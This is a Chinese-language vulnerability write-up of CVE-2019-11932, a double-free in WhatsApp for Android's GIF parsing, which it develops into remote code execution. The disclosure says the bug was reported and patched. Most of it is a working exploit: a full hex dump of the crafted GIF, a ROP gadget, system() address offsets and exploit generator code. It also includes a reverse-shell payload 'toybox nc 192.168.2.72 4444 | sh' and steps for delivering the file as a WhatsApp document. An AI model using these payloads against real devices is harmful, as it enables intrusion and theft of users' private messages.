在这篇文章中,我将分享有关我在Android版WhatsApp中发现的双重释放漏洞以及如何将其转变为RCE的分析。我将此漏洞告知了Facebook。Facebook确认了漏洞并在WhatsApp版本2.19.244中对其进行了正式修补。Facebook帮助申请了此漏洞的CVE编号:CVE-2019-11932。
WhatsApp用户,请务必更新到最新的WhatsApp版本(2.19.244或更高版本),以确保免受此漏洞影响。
0x01 漏洞演示
https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
如果无法访问上述链接,请下载Google云端硬盘链接https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
步骤如下:
· 0:16攻击者通过一些方法将GIF文件发送给用户
-其中一个方法是可以通过WhatsApp发送文档
-如果攻击者在用户(即朋友)的联系人列表中,则损坏的GIF会自动下载,而无需任何用户交互。
· 0:24用户想将媒体文件发送给他/她的任何WhatsApp朋友。因此,用户按下“Paper clip”按钮并打开WhatsApp Gallery以选择要发送给他的朋友的媒体文件。
-请注意,用户不必发送任何内容,因为仅打开WhatsApp Gallery就会触发该漏洞。按下WhatsApp Gallery后无需额外交互。
· 0:30由于WhatsApp会显示每个文件(包括收到的GIF文件)的预览,因此将触发double-free漏洞和我们的RCE利用。
0x02 DPLifSlurp在encoding.c中的双重释放漏洞
当WhatsApp用户在WhatsApp中打开“Gallery”视图以发送媒体文件时,WhatsApp会使用一个本机库解析该库,libpl_droidsonroids_gif.so生成GIF文件的预览。libpl_droidsonroids_gif.so是一个开源代码库,其源代码位于https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c。
一个GIF文件包含多个编码帧。为了存储解码的帧,使用名称为rasterBits的缓冲区。如果所有帧的大小相同,则将rasterBits重新用于存储解码的帧而无需重新分配。但是,如果满足以下三个条件之一,将重新分配rasterBits:
- 宽度*高度>原始宽度*原始高度 - 宽度-originalWidth> 0 - 高度-原始高度> 0
重新分配会使用free和malloc的组合。如果重新分配的大小为0,则会被free掉。假设我们有一个GIF文件,其中包含3个尺寸分别为100、0和0的帧。
· 第一次重新分配后,我们有info->rasterBits大小为100的缓冲区。
· 在第二次重新分配0中,info->rasterBits缓冲区被释放。
· 在第三次重新分配0时,info->rasterBits再次被释放。
这导致了双重释放漏洞。触发位置可以在decode.c中找到:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }
在Android中,对大小为N的内存进行双精度释放会导致两个后续的大小为N的内存分配返回相同的地址。
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250 (lldb) p (int)free($foo) (int) $15 = 0 (lldb) p (int)free($foo) (int) $16 = 0 (lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350 (lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0 (lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0 (lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250 (lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
在上面的代码片段中,变量$ foo被释放了两次。结果,接下来的两个分配($ 20和$ 21)返回相同的地址。
现在在gif.h中查看struct GifInfo
struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- there's another function pointer here jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };
然后,我们制作以下三个尺寸的GIF文件:
· sizeof(GifInfo)
· 0
· 0
当WhatsApp Gallery打开时,所述GIF文件会触发带有size sizeof(GifInfo)的rasterBits缓冲区上的double-free漏洞。有趣的是,在WhatsApp Gallery中,一个GIF文件被解析了两次。当再次解析所述GIF文件时,将创建另一个GifInfo对象。由于Android中的双重释放行为,因此GifInfo info对象info->rasterBits将指向相同的地址。然后,DDGifSlurp()将解码第一个帧到info->rasterBits缓冲区,从而覆盖info和rewindFunction(),DDGifSlurp()函数会在末尾被调用。
0x03 控制PC寄存器
我们需要制作的GIF文件如下:
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
它包含四个帧:
· 帧1:
2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF
· 帧2:
2C 00 00 00 00 1C 0F 00 00 00 00
· 帧3:
2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
· 帧4:
2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00
以下顺序是打开WhatsApp Gallery时发生的情况:
第一次解析:
· does not matter, it is there to make this GIF file valid
· info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);
· info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);
· info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);
· GifInfo *info = malloc(168);
Init:
Frame 1:
Frame 2:
Frame 3:
Frame 4:
第二次解析:
· info->rewindFunction(info);
· does not matter
· info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);
· GifInfo *info = malloc(168);
Init:
Frame 1:
Frame 2, 3, 4:
End:
由于在第一次解析中出现了双重释放错误,info和info->rasterBits现在指向相同的位置。有了如上所述制作的第一帧,我们可以在info->rewindFunction(info);调用时控制rewindFunction和PC 。这些帧都是LZW编码的,我们必须使用LZW编码器对帧进行编码。上面的GIF触发器会崩溃,如下所示:
--------- beginning of crash 10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp) 10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF 10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone 10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928 10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059) 10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys' 10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10' 10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64' 10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<< 10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008 10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f 10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001 10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff 10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608 10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0 10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b 10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760 10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000 10-02 11:09:38.499 18071 18071 F DEBUG : 10-02 11:09:38.499 18071 18071 F DEBUG : backtrace: 10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120) 10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012) 10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000] 10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc <unknown>
0x04 处理ASLR and W^X
在控制了PC之后,我们希望实现远程代码执行。在Android中,由于W ^ X(即栈和堆),我们无法在非可执行区域上执行代码。在本例中,处理W ^ X的最简单方法是执行以下命令:
system("toybox nc 192.168.2.72 4444 | sh");
为此,我们需要PC指向system()libc.so中的函数,而X0指向"toybox nc 192.168.2.72 4444 | sh",没法直接完成。我们首先需要让PC跳到一个中间gadget,该gadget将X0设置为指向"toybox nc 192.168.2.72 4444 | sh"并跳到system()。从反汇编代码中info->rewindFunction(info);,我们可以看到X0和X19都指向info->rasterBits(或info因为它们都指向同一位置),而X8实际上是info->rewindFunction。
libhwui.net中有一个gadget,可以完全满足我们的目的:
ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8
假设上述gadget的地址为AAAAAAAA,而system()函数的地址为BBBBBBBB。LZW编码之前的rasterBits缓冲区(帧1)如下所示:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA..
在正常的Android系统中,由于每个进程都是从Zygotes生成的,即使使用ASLR,如果WhatsApp被终止并重新启动,我们的地址AAAAAAAA和BBBBBBBB也不会更改。但是,它们无法使系统重新引导。为了拥有可靠的AAAAAAAA和BBBBBBBB,我们需要一个信息泄露漏洞,该漏洞为我们提供了libc.so和libhwui.so的基址,该漏洞超出了本篇章的范围。
0x05 漏洞利用
只需在此仓库中编译代码即可。请注意,system()必须用信息泄露漏洞(此博客文章中未介绍)找到的实际地址替换和gadget的地址。
/* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8); size_t system_loc = 0x7cb602ce84; <<-- replace this memcpy(buffer + 24, &system_loc, 8);
运行代码以生成损坏的GIF文件:
[email protected]:~/Desktop/gif$ make ..... ..... ..... [email protected]:~/Desktop/gif$ ./exploit exploit.gif buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0 C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40 C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A 34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
然后复制exploit.gif文件,并将其作为文档与WhatsApp一起发送给另一个WhatsApp用户。请注意,不得将其作为媒体文件发送,否则WhatsApp会在发送之前尝试将其转换为MP4。用户收到恶意的GIF文件后,在用户打开WhatsApp Gallery将媒体文件发送给他/她的朋友之前,将不会发生任何事情。
0x06 受影响的版本
该漏洞利用代码在WhatsApp 2.19.230版之前可以实现RCE。该漏洞已在WhatsApp版本2.19.244中正式修复。
该漏洞利用代码适用于Android 8.1和9.0,但不适用于Android 8.0及以下版本。在较旧的Android版本中,仍然可以触发双重释放漏洞。但是,由于两次释放后系统调用了malloc,因此该应用程序在达到我们可以控制PC寄存器的位置之前就崩溃了。
0x07 攻击向量
通过上述利用,我们可以得到两个攻击媒介:
1.本地特权升级(从用户应用程序升级到WhatsApp):Android设备上安装了恶意应用程序。该应用程序收集子库的地址并生成恶意的GIF文件,该文件导致代码在WhatsApp上下文中执行。这使恶意软件应用程序可以窃取WhatsApp沙箱中的文件,包括消息数据库。
2.远程执行代码:配对与具有远程存储器信息泄露漏洞的应用(例如浏览器),攻击者可以收集库的地址和制作一个恶意GIF文件经由WhatsApp的将其发送给用户(必须是作为附件,而不是通过图库选择器作为图像)。用户打开WhatsApp图库,GIF文件将触发WhatsApp的上下文中的远程shell。